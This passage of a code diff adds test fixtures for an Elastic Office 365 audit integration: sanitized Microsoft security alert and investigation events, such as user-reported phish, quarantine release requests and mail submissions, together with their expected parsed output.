+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": [
+ "JunkFolder"
+ ],
+ "RecordType": "64",
+ "RunningTime": "2314",
+ "StartTimeUtc": "2023-12-31T23:59:59.000Z",
+ "Status": "Remediated",
+ "ThreatDetectionMethods": [
+ "MLModel"
+ ],
+ "UserId": "AirInvestigation",
+ "UserKey": "AirInvestigation",
+ "UserType": "4",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "email": [
+ "user@example.com"
+ ],
+ "id": "AirInvestigation"
+ }
+ },
+ {
+ "@timestamp": "2023-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "from": {
+ "address": [
+ "bounce@example.com"
+ ]
+ },
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "<>"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "AirInvestigationData",
+ "category": [
+ "web"
+ ],
+ "code": "AirInvestigation",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Status\":\"Running\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"SubmissionInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.00Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"InProgress\\\",\\\"Severity\\\":\\\"Low\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"Running\\\"}],\\\"InvestigationIds\\\":[\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email reported by user as malware or phish\\\",\\\"Description\\\":\\\"This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"bounce@example.com\\\",\\\"P1Sender\\\":\\\"<>\\\",\\\"P1SenderDomain\\\":\\\"\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"bounce@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"Delivered\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"nb\\\",\\\"DeliveryLocation\\\":\\\"Inbox\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Fail\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"fail\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"account@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Activity_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"User reported message as malicious 'subject' for 'Phish'\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"312\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}",
+ "outcome": "success",
+ "provider": "AirInvestigation",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "CreationTime": "2023-12-31T23:59:59",
+ "Data": {
+ "flattened": {
+ "AlertDisplayName": "Email reported by user as malware or phish",
+ "AlertType": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Category": "ThreatManagement",
+ "ConfidenceLevel": "Unknown",
+ "ConfidenceScore": 1,
+ "CorrelationKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Description": "This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3",
+ "EndTimeUtc": "2023-12-31T23:59:59Z",
+ "Entities": [
+ {
+ "$id": "3",
+ "AdditionalActionsAndResults": [
+ "OriginalDelivery: [N/A]"
+ ],
+ "AntispamDirection": "Inbound",
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "None"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Fail"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "fail"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "DeliveryAction": "Delivered",
+ "DeliveryLocation": "Inbox",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "InternetMessageId": "",
+ "Language": "nb",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": "Inbox",
+ "P1Sender": "<>",
+ "P2Sender": "bounce@example.com",
+ "P2SenderDisplayName": "name",
+ "P2SenderDomain": "example.com",
+ "PhishConfidenceLevel": "High",
+ "ReceivedDate": "2023-12-31T23:59:59",
+ "Recipient": "user@example.com",
+ "Sender": "bounce@example.com",
+ "SenderIP": "81.2.69.144",
+ "Source": "OATP",
+ "Subject": "subject",
+ "ThreatDetectionMethods": [
+ "MLModel"
+ ],
+ "Threats": [
+ "HighConfPhish"
+ ],
+ "Type": "mailMessage",
+ "Urls": [
+ "hxxp://test.local",
+ "hxxp://test.local",
+ "hxxp://test.local"
+ ],
+ "Urn": "urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ {
+ "$id": "4",
+ "AadId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "FirstSeen": "2023-12-31T23:59:59",
+ "MailboxPrimaryAddress": "user@example.com",
+ "RiskLevel": "None",
+ "Source": "OATP",
+ "Type": "mailbox",
+ "Upn": "account@example.com",
+ "Urn": "urn:UserEntity:abcdef1234567890abcdef1234567890"
+ }
+ ],
+ "ExtendedLinks": [
+ {
+ "Href": "https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Label": "alert",
+ "Type": "webLink"
+ }
+ ],
+ "Intent": "Probing",
+ "InvestigationIds": [
+ "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890"
+ ],
+ "Investigations": [
+ {
+ "$id": "1",
+ "Id": "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationStatus": "Running"
+ }
+ ],
+ "IsIncident": false,
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "ProcessingEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ProviderAlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ProviderName": "OATP",
+ "ResourceIdentifiers": [
+ {
+ "$id": "2",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "Severity": "Low",
+ "SourceAlertType": "System",
+ "SourceTemplateType": "Activity_Single",
+ "StartTimeUtc": "2023-12-31T23:59:59Z",
+ "Status": "InProgress",
+ "TimeGenerated": "2023-12-31T23:59:59.00Z",
+ "VendorName": "Microsoft",
+ "Version": "3.0"
+ }
+ },
+ "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890",
+ "EndTimeUtc": "2023-12-31T23:59:59.000Z",
+ "InvestigationId": "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890",
+ "InvestigationName": "User reported message as malicious 'subject' for 'Phish'",
+ "InvestigationType": "SubmissionInvestigation",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.000Z",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "OriginalDeliveryLocation": [
+ "Inbox"
+ ],
+ "PhishConfidenceLevel": [
+ "High"
+ ],
+ "RecordType": "64",
+ "RunningTime": "312",
+ "StartTimeUtc": "2023-12-31T23:59:59.000Z",
+ "Status": "Running",
+ "ThreatDetectionMethods": [
+ "MLModel"
+ ],
+ "UserId": "AirInvestigation",
+ "UserKey": "AirInvestigation",
+ "UserType": "4",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ],
+ "user": [
+ "account@example.com"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "email": [
+ "user@example.com"
+ ],
+ "id": "AirInvestigation"
+ }
+ }
+ ]
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json
new file mode 100644
index 00000000000..16e68b3dd95
--- /dev/null
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json
@@ -0,0 +1,305 @@
+{
+ "events": [
+ {
+ "event": {
+ "original": "{\"Status\":\"Active\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"AlertLinks\":[{\"AlertLinkHref\":\"http://example.net/alert\"}],\"Severity\":\"Informational\",\"Data\":\"{\\\"f3u\\\":\\\"user@example.com\\\",\\\"etq\\\":\\\"0\\\",\\\"ts\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"op\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"wl\\\":\\\"Quarantine\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tdc\\\":\\\"1\\\",\\\"reid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"wsrt\\\":\\\"2024-12-31T23:59:59\\\",\\\"mdt\\\":\\\"Audit\\\",\\\"rid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"cid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ad\\\":\\\"A user has requested to release an email from quarantine. -V1.0.0.1\\\",\\\"lon\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"an\\\":\\\"User requested to release a quarantined message\\\",\\\"sev\\\":\\\"Informational\\\"}\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertTriggered\",\"Source\":\"Office 365 Security & Compliance\",\"Name\":\"User requested to release a quarantined message\",\"Workload\":\"SecurityComplianceCenter\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2024-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}"
+ },
+ "o365audit": {
+ "Status": "Active",
+ "Category": "ThreatManagement",
+ "ResultStatus": "Succeeded",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Comments": "New alert",
+ "UserKey": "SecurityComplianceAlerts",
+ "AlertLinks": [
+ {
+ "AlertLinkHref": "http://example.net/alert"
+ }
+ ],
+ "Severity": "Informational",
+ "Data": "{\"f3u\":\"user@example.com\",\"etq\":\"0\",\"ts\":\"2024-12-31T23:59:59.0000000Z\",\"te\":\"2024-12-31T23:59:59.0000000Z\",\"op\":\"QuarantineRequestReleaseMessage\",\"wl\":\"Quarantine\",\"tid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"tdc\":\"1\",\"reid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"wsrt\":\"2024-12-31T23:59:59\",\"mdt\":\"Audit\",\"rid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"cid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ad\":\"A user has requested to release an email from quarantine. -V1.0.0.1\",\"lon\":\"QuarantineRequestReleaseMessage\",\"an\":\"User requested to release a quarantined message\",\"sev\":\"Informational\"}",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "AlertTriggered",
+ "Source": "Office 365 Security & Compliance",
+ "Name": "User requested to release a quarantined message",
+ "Workload": "SecurityComplianceCenter",
+ "AlertType": "System",
+ "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "RecordType": 40,
+ "Version": 1,
+ "UserId": "SecurityComplianceAlerts",
+ "CreationTime": "2024-12-31T23:59:59",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4,
+ "PolicyId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Status\":\"Investigating\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"Data\":\"{\\\"etype\\\":\\\"MalwareFamily\\\",\\\"at\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"md\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"sip\\\":\\\"81.2.69.144\\\",\\\"ms\\\":\\\"subject\\\",\\\"imsgid\\\":\\\"\\\",\\\"ttdt\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"ttr\\\":\\\"Success_MessageQuarantined\\\",\\\"dm\\\":\\\"FileHashList\\\",\\\"eid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\\\",\\\"aii\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"thn\\\":\\\"Spam,Phish,Malicious\\\",\\\"ts\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"tpfv\\\":\\\"Block\\\",\\\"fvs\\\":\\\"Tenant\\\",\\\"tpfc\\\":\\\"ETR\\\",\\\"tpt\\\":\\\"HostedContentFilterPolicy\\\",\\\"tpvpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tht\\\":\\\"Spam,Phish,Malicious\\\",\\\"trc\\\":\\\"user@example.com\\\",\\\"tsd\\\":\\\"sender@example.com\\\",\\\"zmfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zmfn\\\":\\\"untitled.dat\\\",\\\"zfn\\\":\\\"untitled.dat\\\",\\\"tdc\\\":\\\"1\\\",\\\"cpid\\\":null,\\\"lon\\\":\\\"Protection\\\"}\",\"Severity\":\"Informational\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertEntityGenerated\",\"AlertEntityId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Source\":\"Office 365 Security & Compliance\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"Email messages containing malicious file removed after delivery\",\"EntityType\":\"MalwareFamily\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}"
+ },
+ "o365audit": {
+ "Status": "Investigating",
+ "Category": "ThreatManagement",
+ "ResultStatus": "Succeeded",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2",
+ "Comments": "New alert",
+ "UserKey": "SecurityComplianceAlerts",
+ "Data": "{\"etype\":\"MalwareFamily\",\"at\":\"2022-12-31T23:59:59.0000000Z\",\"md\":\"2022-12-31T23:59:59.0000000Z\",\"sip\":\"81.2.69.144\",\"ms\":\"subject\",\"imsgid\":\"\",\"ttdt\":\"2022-12-31T23:59:59.0000000Z\",\"ttr\":\"Success_MessageQuarantined\",\"dm\":\"FileHashList\",\"eid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"aii\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"thn\":\"Spam,Phish,Malicious\",\"ts\":\"2022-12-31T23:59:59.0000000Z\",\"te\":\"2022-12-31T23:59:59.0000000Z\",\"tpfv\":\"Block\",\"fvs\":\"Tenant\",\"tpfc\":\"ETR\",\"tpt\":\"HostedContentFilterPolicy\",\"tpvpid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"tpid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2\",\"tid\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"tht\":\"Spam,Phish,Malicious\",\"trc\":\"user@example.com\",\"tsd\":\"sender@example.com\",\"zmfh\":\"a1b2c3d4e5f6g7h8i9jakblc\",\"zfh\":\"a1b2c3d4e5f6g7h8i9jakblc\",\"zmfn\":\"untitled.dat\",\"zfn\":\"untitled.dat\",\"tdc\":\"1\",\"cpid\":null,\"lon\":\"Protection\"}",
+ "Severity": "Informational",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "AlertEntityGenerated",
+ "AlertEntityId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2",
+ "Source": "Office 365 Security & Compliance",
+ "Workload": "SecurityComplianceCenter",
+ "Name": "Email messages containing malicious file removed after delivery",
+ "EntityType": "MalwareFamily",
+ "AlertType": "System",
+ "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "RecordType": 40,
+ "Version": 1,
+ "UserId": "SecurityComplianceAlerts",
+ "CreationTime": "2022-12-31T23:59:59",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4,
+ "PolicyId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ }
+ },
+ {
+ "event": {
+ "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}"
+ },
+ "o365audit": {
+ "DatabaseType": "Directory",
+ "UserKey": "1111111111111111",
+ "ResultCount": "13",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "Search",
+ "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Workload": "SecurityComplianceCenter",
+ "RecordType": 52,
+ "Version": 1,
+ "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "CreationTime": "2022-12-31T23:59:59",
+ "DataType": "TrialOfferEligibility",
+ "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 0
+ }
+ },
+ {
+ "event": {
+ "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}"
+ },
+ "o365audit": {
+ "DatabaseType": "Directory",
+ "UserKey": "1111111111111111",
+ "ResultCount": "13",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "Search",
+ "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Workload": "SecurityComplianceCenter",
+ "RecordType": 52,
+ "Version": 1,
+ "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "CreationTime": "2022-12-31T23:59:59",
+ "DataType": "TrialOfferEligibility",
+ "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 0
+ }
+ },
+ {
+ "event": {
+ "original": "{\"SenderIP\":\"81.2.69.144\",\"Recipients\":\"[user@example.com]\",\"SubmissionState\":\"Rescaned\",\"RescanResult\":{\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Timestamp\":\"2022-12-31T23:59:59\",\"RescanVerdict\":\"NotSpam\"},\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"UserSubmission\",\"P2Sender\":\"sender name \",\"ExtendedProperties\":[{\"Value\":\"1111111111111111\",\"Name\":\"KesMailId\"},{\"Value\":\"AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE\",\"Name\":\"FingerprintData\"},{\"Value\":\"Email\",\"Name\":\"SubmissionCategory\"},{\"Value\":\"NotSpam\",\"Name\":\"RescanVerdict\"},{\"Value\":\"Microsoft\",\"Name\":\"SubmissionSource\"},{\"Value\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Name\":\"SubmissionId\"},{\"Value\":\"Allow\",\"Name\":\"OriginalVerdict\"}],\"SubmissionConfidenceLevel\":\"1\",\"RecordType\":\"29\",\"SubmissionContentSubType\":\"MsftAndCustomMbxSubmission\",\"Language\":\"en\",\"Version\":\"1\",\"SubmitterId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1Sender\":\"sender@example.com\",\"P2SenderDomain\":\"example.com\",\"MessageDate\":\"2022-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1SenderDomain\":\"example.com\",\"Subject\":\"subject\",\"Workload\":\"SecurityComplianceCenter\",\"BCLValue\":\"0\",\"FilteringDate\":\"2022-12-31T23:59:59\",\"UserId\":\"user@example.com\",\"InternetMessageId\":\"\",\"KesMailId\":\"1111111111111111\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SubmissionId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SubmissionType\":\"0\",\"SubmissionContentType\":\"Mail\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}"
+ },
